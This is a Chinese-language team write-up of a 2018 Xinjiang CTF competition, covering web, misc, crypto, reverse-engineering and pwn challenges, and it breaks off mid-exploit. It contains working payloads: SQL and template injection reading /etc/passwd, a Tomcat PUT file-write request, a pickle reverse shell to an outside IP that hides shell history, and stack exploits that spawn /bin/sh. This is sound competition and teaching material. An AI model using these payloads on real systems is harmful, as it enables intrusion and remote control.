首届新疆网络安全知识技能竞赛题解(团体赛)

xjseck

发布日期: 2018-11-10 23:06:50 浏览量: 753
评分:
star star star star star star star star star star
*转载请注明来自write-bug.com

前言

第一天经历了个人解题晋级赛之后,第二天就是团体的解题赛,这一天管理相对第一天比较严一些,进行手机的提交要求,第一天虽然也提交了,明显还是有人使用手机开了热点。这一天的刷题还算是比较顺利,web题目就一道大家都没有解出来之外,其他的也全部搞定。

团体解题晋级赛

有了第一天的经历之后,这次相对的把自己的节奏和心态都稍微的进行调整,解题中相对还算是比较顺利,两个队伍都挺进了决赛。

Web

[revenge_of_sql]

sql的复仇,应该是和sql注入有关,首先进行敏感目录扫描,发现.git源码泄露
直接githack 发现 index.php文件存在 过滤空格的盲注注入,直接sqlmap 跑数据库但是发现没有

sqlmap -r 1.txt —random-agent —dbms=mysql —tamper=space2comment.py -v 3 —sql-shell

  1. available databases [4]:
  2. [*] information_schema
  3. [*] mysql
  4. [*] performance_schema
  5. [*] sql1

admin xman 登录进入 和源码的逻辑相同没有显示

也可以手工注入登录
Username='/**/union/**/select('202cb962ac59075b964b07152d234b70')#&password=123
最后分析一下git历史信息

发现有flag22222.php
使用sqlmap 跑一下

  • <strong>Web baby python</strong>
    没有啥思路,直接爆破url参数

    发现出现花括号 会出现信息的不完整输出,那应该明确了考点,就是python web的模板注入,可以直接使用函数读文件
    也可以使用其他python 沙盒绕过
  1. {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read() }}等python链进行代码的执行
  2. http://10.98.98.25:5554/404?msg='}}{{ open('/etc/passwd').read() }}


ezupload

文件上传常规套路:直接大小写、javascript、 改后缀 、截断或这让js失效


http

[步骤]
访问发现提示 不是本地人,不允许访问, 于是修改xff为127.0.0.1或localhost伪造为本地
伪造后提示未登录,查看cookie发现存在login=0的键值,将0修改为1得到flag

ezpentest

[分析]
这道题,没有队伍解出来,当时进行了目录的扫描,和nmap的扫描,发现了8080 端口tomcat,按题目的说明,应该是一个tomcat溢出漏洞,赛后讨论应该是
CVE-2017-12617(远程代码执行漏洞)影响范围:

  1. Apache Tomcat 9.0.0.M1-9.0.0
  2. Apache Tomcat 8.5.0-8.5.22
  3. Apache Tomcat 8.0.0.RC1-8.0.46
  4. Apache Tomcat 7.0.0-7.0.81

当时没有网,也就没有找到具体的payload ,可以参考P牛的vuln库 任意文件写入

  1. PUT /1.jsp/ HTTP/1.1
  2. Host: your-ip:8080
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 5
  9. shell

Check in

考察的是python的cPickle的反序列化漏洞

  1. # !/usr/bin/env python
  2. # -*- coding:utf-8 -*-
  3. import marshal
  4. import base64
  5. import cPickle
  6. import urllib
  7. def foo():#you should write your code in this function
  8. import socket
  9. import os,pty
  10. def test(ip,port):
  11. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  12. s.connect((ip,int(port)))
  13. os.dup2(s.fileno(),0)
  14. os.dup2(s.fileno(),1)
  15. os.dup2(s.fileno(),2)
  16. shell= "/bin/sh"
  17. os.unsetenv("HISTFILE")
  18. os.unsetenv("HISTFILESIZE")
  19. os.unsetenv("HISTSIZE")
  20. os.unsetenv("HISTORY")
  21. os.unsetenv("HISTSAVE")
  22. os.unsetenv("HISTZONE")
  23. os.unsetenv("HISTLOG")
  24. os.unsetenv("HISTCMD")
  25. os.putenv("HISTFILE",'/dev/null')
  26. os.putenv("HISTSIZE",'0')
  27. os.putenv("HISTFILESIZE",'0')
  28. pty.spawn(shell)
  29. s.close()
  30. test('202.112.51.130',9999)
  31. try:#尝试使用cPickle来序列号代码对象
  32. cPickle.dumps(foo.func_code)
  33. except Exception as e:
  34. print e #TypeError: can't pickle code objects
  35. code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
  36. print code_serialized

misc

流量包解密02


题目进行了说明,mac地址就是秘钥,国赛的题目也出现过,当时提取mac之后没有跑出来
,最会拼一下脑洞发现,爆破的时候的数据包的mac 地址就是密码
提示是mac,尝试提取mac不行,结果就是脑洞
1 B4:0B:44:C2:D5:FF xj WPA (1 handshake)


然后发现就是dns apr 做中间人,做了个test.txt success.txt的测试
就没有url了需要再次脑洞一下吧。还是那个师傅的blog

说的是url flag{http://www.wiattack.net/test.txt}

如来十三掌

  1. 夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮

与佛论禅解密:
MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9
尝试base64解密失败,继续尝试,发现先rot13,在base64
ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9
flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}

Find_your_flag

是一个内存取证的题目
Volatility工具安排一下

遍历文件找一找flag

导出文件发现需要密码,根据提示猜测密码可能在剪切板

倍四家族

这个题是一个7z的带密码的压缩包,想推导密码,你需要点脑洞,根据题目和压缩包,发现密码是flag字符的base64编码,解密出flag.txt

最后写一个脚本进行每一行的解密(参考官方wp)

  1. def get_base64_diff_value(s1, s2):
  2. base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
  3. res = 0
  4. for i in xrange(len(s1)):
  5. if s1[i] != s2[i]:
  6. return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
  7. return res
  8. def solve_stego():
  9. with open('flag.txt', 'rb') as f:
  10. file_lines = f.readlines()
  11. bin_str = ''
  12. for line in file_lines:
  13. steg_line = line.replace('\n', '')
  14. norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
  15. diff = get_base64_diff_value(steg_line, norm_line)
  16. pads_num = steg_line.count('=')
  17. if diff:
  18. bin_str += bin(diff)[2:].zfill(pads_num * 2)
  19. else:
  20. bin_str += '0' * pads_num * 2
  21. res_str = ''
  22. for i in xrange(0, len(bin_str), 8):
  23. res_str += chr(int(bin_str[i:i+8], 2))
  24. print res_str
  25. solve_stego()

得到

  1. W^7?+dv|4DVs&z9Wn^D$Z+2y0W?^k<Y<XW~X>)U7bZK*DVPkY<WPJ
  • 猜测是base85,python跑一下
    1. In [1]: import base64
    2. In [2]: base64.b85decode(b'W^7?+dv|4DVs&z9Wn^D$Z+2y0W?^k<Y<XW~X>)U7bZK*DVPkY<WPJ')
    3. Out[2]: b'flag{we_buried_love_family_dissatisfacted}'

密码

short_story

一个doc文档,字体有点高低和一个隐藏的矩阵,应该是hill加密

  1. 美国代表团访华时曾有一名官员当着周总理的面说中国人很喜欢低着头走路而我们美国人却总是抬着头走路周总理不慌不忙脸带微笑地说这并不奇怪因为我们中国人喜欢走上坡路而你们美国人喜欢走下坡路
  2. AABBBBAAABBABBAAAABBAABBBBAAABBBAAAAABBAAAABABAAAABABBAAAABBAAAABABBABABABAABABBAAAABABABA
  3. hrwdhrygcqwdbnklbk
  1. 继续从文档中获得密钥。文档末尾隐藏了一个矩阵,选中更改字体颜色后可以看到。根据这个矩阵,联想到hill加密
    先根据密钥矩阵计算逆矩阵,将密文按照2个2个分组,与逆矩阵右乘得到明文。
    ```py

    coding:UTF-8

    key = [-7,2,4,-1]
    m = “hrwdhrygcqwdbnklbk”

c= []
for x in range(len(m)):
if(m[x]>=’a’and x<=’z’):
print ord(m[x])-97
c.append(ord(m[x])-97)
print c
temp = []

for i in range(0,len(c),2):
temp.append(chr(((key[0] c[i]+key[1] c[i+1])%26)+97))
temp.append(chr(((key[2] c[i] + key[3] c[i+1])%26)+97))
temp = ‘’.join(temp)
print temp[::-1]

  1. 得到llihllamssihtrednu
  2. 题目中说“走下坡路”,所以想到字符串经过反向处理。
  3. 得到flag{underthissmallhill}。
  4. #### weak_des
  5. 给出了加密代码
  6. 参考0xptdg战队的py
  7. ```py
  8. #coding:utf-8
  9. from Crypto.Cipher import DES
  10. import libnum
  11. ct=open('ciphertext','rb').read()
  12. KEY=libnum.n2s(0xe0e0e0e0f1f1f1f1)
  13. IV='13245678'
  14. a=DES.new(KEY,DES.MODE_OFB,IV)
  15. print a.decrypt(ct)
  1. The furthest distance in the world
  2. Is not between life and death
  3. But when I stand infront of you
  4. Yet you don't know that I love you
  5. Is not when I stand infront of you
  6. Yet you can't see my love
  7. But when undoubtedly knowing the love from both
  8. Yet can not be together
  9. Is not being apart while being in love
  10. But when painly cannot resist the yearning
  11. Yet pretending you have never been in my heart
  12. Is not when painly can not resist the yearning
  13. yet pretending you have never been in my heart
  14. but using one's in different heart
  15. To dig an uncrossable river
  16. For the one who loves you
  17. flag{_poor_single_dog_has_found_an_echo_from_it}

个人和团体的re+pwn解题汇总

re

easy-compare

jadx先打开看MainActivity

  1. public class MainActivity extends AppCompatActivity {
  2. protected void onCreate(Bundle savedInstanceState) {
  3. super.onCreate(savedInstanceState);
  4. setContentView((int) R.layout.activity_main);
  5. ((Button) findViewById(R.id.button)).setOnClickListener(new OnClickListener() {
  6. public void onClick(View v) {
  7. if (Check.checkflag(((EditText) MainActivity.this.findViewById(R.id.editText)).getText().toString())) {
  8. Toast.makeText(MainActivity.this, "you are right~!", 1).show();
  9. } else {
  10. Toast.makeText(MainActivity.this, "wrong!", 1).show();
  11. }
  12. }
  13. });
  14. }
  15. }

调用了so中的Check.checkflag函数校验flag,定位到so中的函数

  1. signed int __fastcall Java_com_testjava_jack_fakefunc_Check_checkflag(int a1)
  2. {
  3. signed int v1; // r4
  4. const char *v2; // r5
  5. v1 = 0;
  6. v2 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))();
  7. j_getKey();
  8. _android_log_print(4, "INJECT", "asdasd");
  9. if ( !strcmp(v2, "this_is_easy_so") )
  10. v1 = 1;
  11. return v1;
  12. }

发现是与一个固定的字符串对比

但是尝试一下程序中提交this_is_easy_so并不对,查看导出表信息,发现存在init_arrary里面对strcmp进行了Inline hook,定位到fake function。发现是aes,key就是动态解密的固定base64字符串。解密得到flag

Get-A-Way

shell这个二进制数据是一段shellcode,先写程序把它Load起来

  1. FILE *fp = fopen("file.bin", "rb");
  2. if (fp)
  3. {
  4. fseek(fp, 0, SEEK_END);
  5. DWORD dwSize = ftell(fp);
  6. fseek(fp, 0, SEEK_SET);
  7. LPVOID pAddr = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  8. fread(pAddr, dwSize, 1, fp);
  9. fclose(fp);
  10. __asm
  11. {
  12. mov eax, pAddr;
  13. call eax;
  14. }
  15. }

提示输入key,随便输入一个

  1. F:\Project\LoadShell.exe
  2. please input your answer:asdsd
  3. wrong way

od载入看下

跟踪会发现在0x10000000地址释放出主要模块

  1. 100010CD 85C0 test eax,eax
  2. 100010CF 74 11 je short 100010E2
  3. 100010D1 B9 19000000 mov ecx,0x19
  4. 100010D6 BE C0710110 mov esi,0x100171C0
  5. 100010DB BF 30720110 mov edi,0x10017230
  6. 100010E0 F3:A5 rep movs dword ptr es:[edi],dword ptr ds>
  7. 100010E2 68 58440110 push 0x10014458 ; ASCII "please input your answer:"
  8. 100010E7 E8 48170000 call 10002834
  9. 100010EC 83C4 04 add esp,0x4
  10. 100010EF C64424 10 00 mov byte ptr ss:[esp+0x10],0x0
  11. 100010F4 8D4424 11 lea eax,dword ptr ss:[esp+0x11]
  12. 100010F8 6A 63 push 0x63
  13. 100010FA 6A 00 push 0x0
  14. 100010FC 50 push eax
  15. 100010FD E8 AE660000 call 100077B0
  16. 10001102 83C4 0C add esp,0xC
  17. 10001105 8D4424 10 lea eax,dword ptr ss:[esp+0x10]
  18. 10001109 50 push eax
  19. 1000110A 68 74440110 push 0x10014474 ; ASCII "%s"

在此处下断点分析发现是个迷宫问题,dump下迷宫来

  1. {
  2. 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  3. 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00,
  4. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  5. 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00,
  6. 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01,
  7. 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  8. 0x01, 0x01, 0x00, 0x01};

按照迷宫得到的解并不对,我们仔细查看内存发现调用了一些反调试的函数,根据回溯,回溯到

  1. 100010C2 /0F85 D8000000 jnz 100011A0
  2. 100010C8 |E8 B3130000 call 10002480
  3. 100010CD |85C0 test eax,eax
  4. 100010CF |74 11 je short 100010E2
  5. 100010D1 |B9 19000000 mov ecx,0x19
  6. 100010D6 |BE C0710110 mov esi,0x100171C0
  7. 100010DB |BF 30720110 mov edi,0x10017230

这里会因为反调试来修改迷宫数组,在修改之前dump真正的迷宫

  1. 01 00 01 01 01 01 01 01 01 01 01 00 01 00 00 00 01 01 01 01 01 00 00 00 01 00 01 01 01 01 01 01
  2. 01 01 01 00 01 01 01 01 01 01 01 01 00 00 00 00 00 01 01 01 01 01 00 01 01 01 00 01 01 01 01 01
  3. 01 00 00 00 00 01 01 01 01 01 01 00 01 01 01 01 01 01 01 01 01 00 00 00 00 01 01 01 01 01 01 01
  4. 01 01 00 01

得到解

ssddwddsssdddssaaassddds

输入得到flag

81dsa65edckyqutiaghjw3w2

LoginToMe

拖入ida看下就这么些代码

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3. unsigned int v3; // eax
  4. unsigned __int16 s; // [rsp+10h] [rbp-70h]
  5. unsigned __int16 v6; // [rsp+12h] [rbp-6Eh]
  6. int v7; // [rsp+14h] [rbp-6Ch]
  7. int v8; // [rsp+18h] [rbp-68h]
  8. unsigned __int16 v9; // [rsp+1Ch] [rbp-64h]
  9. unsigned __int16 v10; // [rsp+1Eh] [rbp-62h]
  10. unsigned __int16 v11; // [rsp+20h] [rbp-60h]
  11. unsigned __int16 v12; // [rsp+22h] [rbp-5Eh]
  12. int v13; // [rsp+70h] [rbp-10h]
  13. int v14; // [rsp+74h] [rbp-Ch]
  14. int v15; // [rsp+78h] [rbp-8h]
  15. int i; // [rsp+7Ch] [rbp-4h]
  16. memset(&s, 0, 0x60uLL);
  17. v13 = 0;
  18. printf("input:", argv, &v14, argv);
  19. __isoc99_scanf("%s", &s);
  20. if ( strlen((const char *)&s) == 20 )
  21. {
  22. v3 = time(0LL);
  23. srand(v3);
  24. v15 = rand() % 100;
  25. for ( i = 0; i < v15; ++i )
  26. ;
  27. if ( s * v6 != 342772773
  28. || s + v6 != 39526
  29. || v7 - v8 != 1005712381
  30. || (unsigned __int16)v7 + HIWORD(v7) != 56269
  31. || (unsigned __int16)v8 - HIWORD(v8) != 15092
  32. || (char)v7 * (char)v8 != 0x29D6
  33. || SBYTE2(v7) * SBYTE2(v8) != 12051
  34. || SHIBYTE(v7) + SHIBYTE(v8) != 172
  35. || v9 * v10 != 171593250
  36. || v9 + v10 != 26219
  37. || v11 * v12 != 376306868
  38. || v11 + v12 != 40341 )
  39. {
  40. puts("check failed~!");
  41. }
  42. else
  43. {
  44. puts("check ok~!");
  45. }
  46. }
  47. return 1;
  48. }

对输入的flag进行了条件判断,根据上述条件求解即可。

  1. #-*- coding:utf-8 –*-
  2. from z3 import *
  3. #定义变量
  4. a = Int('a')
  5. b = Int('b')
  6. c = Int('c')
  7. d = Int('d')
  8. e = Int('e')
  9. f = Int('f')
  10. m = Int('m')
  11. n = Int('n')
  12. p = Int('p')
  13. q = Int('q')
  14. solver = Solver()
  15. # 设置变量范围
  16. solver.add(a >= 0)
  17. solver.add(b >= 0)
  18. solver.add(a < 0xffff)
  19. solver.add(b < 0xffff)
  20. solver.add(c >= 0)
  21. solver.add(d >= 0)
  22. solver.add(c < 0xffff)
  23. solver.add(d < 0xffff)
  24. solver.add(e >= 0)
  25. solver.add(f >= 0)
  26. solver.add(e < 0xffff)
  27. solver.add(f < 0xffff)
  28. solver.add(m >= 0)
  29. solver.add(n >= 0)
  30. solver.add(m < 0xffffffff)
  31. solver.add(n < 0xffffffff)
  32. # 设置表达式
  33. solver.add(a*b == 0x146E4C25)
  34. solver.add(a+b == 0x9a66)
  35. solver.add(c*d == 0xa3a4e22)
  36. solver.add(c+d == 0x666b)
  37. solver.add(e*f == 0x166dfcb4)
  38. solver.add(e+f == 0x9d95)
  39. solver.add(m-n == 0x3BF1F3FD)
  40. solver.add(m%0x10000 +m/0x10000 ==0xDBCD)
  41. solver.add(n%0x10000 -n/0x10000 ==0x3AF4)
  42. #获取结果
  43. print("solving...")
  44. if(solver.check()==sat):
  45. print solver.model()
  1. [f = 14644,
  2. b = 12849,
  3. a = 26677,
  4. d = 13625,
  5. n = 947221353,
  6. m = 1952933734,
  7. c = 12594,
  8. e = 25697]

exp

  1. #-*- coding:utf-8 –*-
  2. from z3 import *
  3. #定义变量
  4. a = Int('a')
  5. b = Int('b')
  6. c = Int('c')
  7. d = Int('d')
  8. e = Int('e')
  9. f = Int('f')
  10. m = Int('m')
  11. n = Int('n')
  12. p = Int('p')
  13. q = Int('q')
  14. solver = Solver()
  15. # 设置变量范围
  16. solver.add(a >= 0)
  17. solver.add(b >= 0)
  18. solver.add(a < 0xffff)
  19. solver.add(b < 0xffff)
  20. solver.add(c >= 0)
  21. solver.add(d >= 0)
  22. solver.add(c < 0xffff)
  23. solver.add(d < 0xffff)
  24. solver.add(e >= 0)
  25. solver.add(f >= 0)
  26. solver.add(e < 0xffff)
  27. solver.add(f < 0xffff)
  28. solver.add(m >= 0)
  29. solver.add(n >= 0)
  30. solver.add(m < 0xffffffff)
  31. solver.add(n < 0xffffffff)
  32. # 设置表达式
  33. solver.add(a*b == 0x146E4C25)
  34. solver.add(a+b == 0x9a66)
  35. solver.add(c*d == 0xa3a4e22)
  36. solver.add(c+d == 0x666b)
  37. solver.add(e*f == 0x166dfcb4)
  38. solver.add(e+f == 0x9d95)
  39. solver.add(m-n == 0x3BF1F3FD)
  40. solver.add(m%0x10000 +m/0x10000 ==0xDBCD)
  41. solver.add(n%0x10000 -n/0x10000 ==0x3AF4)
  42. #获取结果
  43. print("solving...")
  44. if(solver.check()==sat):
  45. print solver.model()

又拍苍蝇

本题修改自山东省赛拍苍蝇,大大降低了难度,只需要将苍蝇拍完毕即可得到Flag。每个苍蝇中包含了一个secret值,当苍蝇被拍死的时候(对话框销毁的时候),才会初始化这个secret值,所以就算定位到了苍蝇是否死活的标志位进行强制修改也无效,当拍死的苍蝇数量达到24只的时候,会依次计算每个苍蝇携带的secret值,跟一个全局变量循环右移索引位,然后异或,然后根据索引从这个dowrd中取一位放到flag中。由于添加的花指令,所以需要先去除之后才方便分析,花指令特征

EB14EA50EB0BEA8BC4A8017406EB0BEA??660FD64424EBEBEEEA4C58

脚本如下:

  1. VAR CodeBase
  2. VAR CodeSize
  3. BPHWCALL
  4. BPHWC
  5. BC
  6. GMI eip, CODEBASE
  7. MOV CodeBase,$RESULT
  8. GMI eip, CODESIZE
  9. MOV CodeSize,$RESULT
  10. var junk_addr
  11. lab_find:
  12. find CodeBase,#EB14EA50EB0BEA8BC4A8017406EB0BEA??660FD64424EBEBEEEA4C58#,CodeSize
  13. mov junk_addr,$RESULT
  14. cmp junk_addr,0
  15. jz exit
  16. MOV [junk_addr],#90909090909090909090909090909090909090909090909090909090#
  17. jmp lab_find
  18. exit:
  19. RET

之后od就清晰了,根据success字符串定位到关键地方,cl是索引

  1. 012D30CD B8 775F123C mov eax,0x3C125F77
  2. 012D30D2 D3C8 ror eax,cl
  3. 012D30D4 3382 E0000000 xor eax,dword ptr ds:[edx+0xE0]
  4. 012D30DA 8985 6CFFFFFF mov dword ptr ss:[ebp-0x94],eax
  5. 012D30E0 90 nop
  6. 012D3118 8BC1 mov eax,ecx
  7. 012D311A 25 03000080 and eax,0x80000003
  8. 012D311F 79 05 jns short Fly.012D3126
  9. 012D3121 48 dec eax
  10. 012D3122 83C8 FC or eax,0xFFFFFFFC
  11. 012D3125 40 inc eax
  12. 012D3126 8A8405 6CFFFFFF mov al,byte ptr ss:[ebp+eax-0x94]
  13. 012D312D 88840D 70FFFFFF mov byte ptr ss:[ebp+ecx-0x90],al

定位初始secret的地方

借助xspy定位消息响应函数

  1. Message map: 0x0058880C (Fly3.exe+ 0x18880c )
  2. Message map entries: 0x00588818 (Fly3.exe+ 0x188818 )
  3. OnMsg:WM_TIMER(0113),func= 0x00404E30 (Fly3.exe+ 0x004e30 )
  4. OnMsg:WM_LBUTTONDOWN(0201),func= 0x00405150 (Fly3.exe+ 0x005150 )
  5. OnMsg:WM_LBUTTONUP(0202),func= 0x004051D0 (Fly3.exe+ 0x0051d0 )
  6. OnMsg:WM_MOUSEHOVER(02a1),func= 0x004051E0 (Fly3.exe+ 0x0051e0 )
  7. OnMsg:WM_MOUSELEAVE(02a3),func= 0x00405200 (Fly3.exe+ 0x005200 )
  8. OnMsg:WM_MOUSEMOVE(0200),func= 0x00405220 (Fly3.exe+ 0x005220 )
  9. OnMsg:WM_LBUTTONDBLCLK(0203),func= 0x004051D0 (Fly3.exe+ 0x0051d0 )

定位到数组dwKey

  1. void __thiscall CFlyWnd::OnLButtonDown(CFlyWnd *this, unsigned int nFlags, CPoint point)
  2. {
  3. CFlyWnd *v3; // esi
  4. int v4; // eax
  5. char szOut[100]; // [esp+4h] [ebp-68h]
  6. v3 = this;
  7. szOut[0] = 0;
  8. v4 = this->nIndex;
  9. this->is_death = 1;
  10. this->secret = dwKey[v4];
  11. memset(&szOut[1], 0, 0x63u);
  12. _wsprintfA(szOut, "fly death %d", 1);
  13. PostMessageW(v3->m_hWnd, 0x10u, 0, 0);
  14. CWnd::Default((CWnd *)&v3->vfptr);
  15. }
  1. DWORD dwXorKey = 0x3c125f77;
  2. DWORD dwKey[100] = { 0x59206b45, 0xfa6d1fde, 0xaa30f5ec, 0x81b4728a, 0x43a213cf, 0x8c85f3cc, 0xe8922b1c, 0xdf191586, 0x4158266a, 0xdfac3b1c, 0xb9ae65f1, 0xde83b273, 0x914ba440, 0xcb8ed8f4, 0x4beac32d, 0x8cd64e10, 0x6b120c25, 0x498df831, 0xa2b9f93d, 0x79d6d0e4, 0x47c640f0, 0xa0c3dbd6, 0x7b4def96, 0x158e8c4d };
  3. char szResult[100] = { 0 };
  4. for (int i = 0; i < 24; i++)
  5. {
  6. DWORD dwTmp = dwKey[i] ^ CROR(dwXorKey, i);
  7. szResult[i] = (PBYTE(&dwTmp))[i % 4];
  8. }
  9. printf(szResult);

得到flag:204f8ab152a0e8627fd21b01

本题可以不去进项算法分析,直接模拟点击点掉所有苍蝇即可。

  1. BOOL CALLBACK EnumWindowProc(HWND hWnd, LPARAM lParam)
  2. {
  3. char szClassName[100] = { 0 };
  4. GetClassName(hWnd, szClassName, 100);
  5. RECT m_rect;
  6. GetWindowRect(hWnd, &m_rect);
  7. if (strcmp("#32770", szClassName) == 0 && m_rect.bottom - m_rect.top == 60 && m_rect.right - m_rect.left == 60)
  8. {
  9. SendMessage(hWnd, WM_LBUTTONDOWN, NULL, NULL);
  10. }
  11. return TRUE;
  12. }
  13. while (1)
  14. {
  15. //在某个函数里面调用
  16. EnumWindows(EnumWindowProc, NULL);
  17. Sleep(1000);
  18. }

PWN

baby_stack

  • 没有输出无法leak,没有提供libc,有溢出,考虑ret2dl_resolve
  • 可以手组结构,仿造roputils写ret2dl_resolve函数
  1. #coding=utf8
  2. from pwn import *
  3. context.log_level = 'debug'
  4. p = process('./babystack')
  5. binary = ELF('./babystack')
  6. def ret2dl_resolve(ELF_obj,func_name,resolve_addr,fake_stage,do_slim=1):
  7. jmprel = ELF_obj.dynamic_value_by_tag("DT_JMPREL")#rel_plt
  8. relent = ELF_obj.dynamic_value_by_tag("DT_RELENT")
  9. symtab = ELF_obj.dynamic_value_by_tag("DT_SYMTAB")#dynsym
  10. syment = ELF_obj.dynamic_value_by_tag("DT_SYMENT")
  11. strtab = ELF_obj.dynamic_value_by_tag("DT_STRTAB")#dynstr
  12. versym = ELF_obj.dynamic_value_by_tag("DT_VERSYM")#version
  13. plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr
  14. p_name = fake_stage+8-strtab
  15. len_bypass_version = 8-(len(func_name)+1)%0x8
  16. sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab
  17. if sym_addr_offset%0x10 != 0:
  18. if sym_addr_offset%0x10 == 8:
  19. len_bypass_version+=8
  20. sym_addr_offset = fake_stage+8+(len(func_name)+1)+len_bypass_version-symtab
  21. else:
  22. error('something error!')
  23. fake_sym = sym_addr_offset/0x10
  24. while True:
  25. fake_ndx = u16(ELF_obj.read(versym+fake_sym*2,2))
  26. if fake_ndx != 0:
  27. fake_sym+=1
  28. len_bypass_version+=0x10
  29. continue
  30. else:
  31. break
  32. if do_slim:
  33. slim = len_bypass_version - len_bypass_version%8
  34. version = len_bypass_version%8
  35. resolve_data,resolve_call=ret2dl_resolve(ELF_obj,func_name,resolve_addr,fake_stage+slim,0)
  36. return (resolve_data,resolve_call,fake_stage+slim)
  37. fake_r_info = fake_sym<<8|0x7
  38. reloc_offset=fake_stage-jmprel
  39. resolve_data = p32(resolve_addr)+p32(fake_r_info)+func_name+'\x00'
  40. resolve_data += 'a'*len_bypass_version
  41. resolve_data += p32(p_name)+p32(0)+p32(0)+p32(0x12)
  42. resolve_call = p32(plt0)+p32(reloc_offset)
  43. return (resolve_data,resolve_call)
  44. offset = 0x4c
  45. stage = binary.bss()
  46. p_ebx_ret = 0x080482c9
  47. p3ret = 0x080484a9
  48. dl_data,dl_call,stage = ret2dl_resolve(binary,'system',binary.bss()+0x200,stage)
  49. pay = 'a'*offset
  50. pay += p32(binary.plt['read'])+p32(p3ret)+p32(0)+p32(stage)+p32(len(dl_data)+8) #读40个字节到base_stage
  51. pay += dl_call
  52. pay += p32(p_ebx_ret)+p32(stage+len(dl_data))
  53. #伪造条目
  54. p.sendline(pay)
  55. sleep(1)
  56. p.send(dl_data+'/bin/sh\x00')
  57. #调用system
  58. p.interactive()
  • 也可用roputils简化脚本
  1. #coding:utf-8
  2. import sys
  3. import roputils
  4. from pwn import *
  5. # context.log_level = 'debug'
  6. p = process("./baby_stack")
  7. elf = ELF("./baby_stack")
  8. rop = roputils.ROP('./baby_stack')
  9. stage = rop.section('.bss')
  10. offset = 0x4c
  11. vulFunc = 0x804840b
  12. buf1 = 'A' * offset
  13. buf1 += p32(elf.symbols['read']) + p32(vulFunc) + p32(0) + p32(stage) + p32(100)
  14. p.send(buf1)
  15. buf2 = rop.string('/bin/sh')
  16. buf2 += rop.fill(20, buf2)
  17. buf2 += rop.dl_resolve_data(stage+20, 'system')
  18. buf2 += rop.fill(100, buf2)
  19. p.send(buf2)
  20. buf3 = "A"*offset + rop.dl_resolve_call(stage+20,stage)
  21. p.send(buf3)
  22. p.interactive()#coding:utf-8
  23. import sys
  24. import roputils
  25. from pwn import *
  26. # context.log_level = 'debug'
  27. p = process("./baby_stack")
  28. elf = ELF("./baby_stack")
  29. rop = roputils.ROP('./baby_stack')
  30. stage = rop.section('.bss')
  31. offset = 0x4c
  32. vulFunc = 0x804840b
  33. buf1 = 'A' * offset
  34. buf1 += p32(elf.symbols['read']) + p32(vulFunc) + p32(0) + p32(stage) + p32(100)
  35. p.send(buf1)
  36. buf2 = rop.string('/bin/sh')
  37. buf2 += rop.fill(20, buf2)
  38. buf2 += rop.dl_resolve_data(stage+20, 'system')
  39. buf2 += rop.fill(100, buf2)
  40. p.send(buf2)
  41. buf3 = "A"*offset + rop.dl_resolve_call(stage+20,stage)
  42. p.send(buf3)
  43. p.interactive()

dragon_game

  1. from pwn import *
  2. # context.log_level = 'debug'
  3. p = process("./DragonGame")
  4. p.recvuntil("secret[0] is ")
  5. addr = int(p.recvuntil("\n")[:-1],16)
  6. log.success("addr:"+hex(addr))
  7. p.sendlineafter("west?:\n","east")
  8. p.sendlineafter("address'\n",str(addr))
  9. pause()
  10. p.sendlineafter(" is:\n","%233c%7$n") #修改check[0]=233
  11. shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" #Linux/x64 Execute /bin/sh Shellcode
  12. p.sendlineafter("SPELL\n", shellcode)
  13. p.interactive()

easy_rop

  • 通过__libc_csu_init()函数来构造gadgets
  • 通过设置eax为59调用execve(‘/bin/sh’,NULL,NULL)
  1. from pwn import *
  2. import time
  3. p = process("./easy_rop")
  4. elf = ELF("./easy_rop")
  5. syscall_addr = 0x400582
  6. rop_addr1 = 0x4005fa #<__libc_csu_init+90>
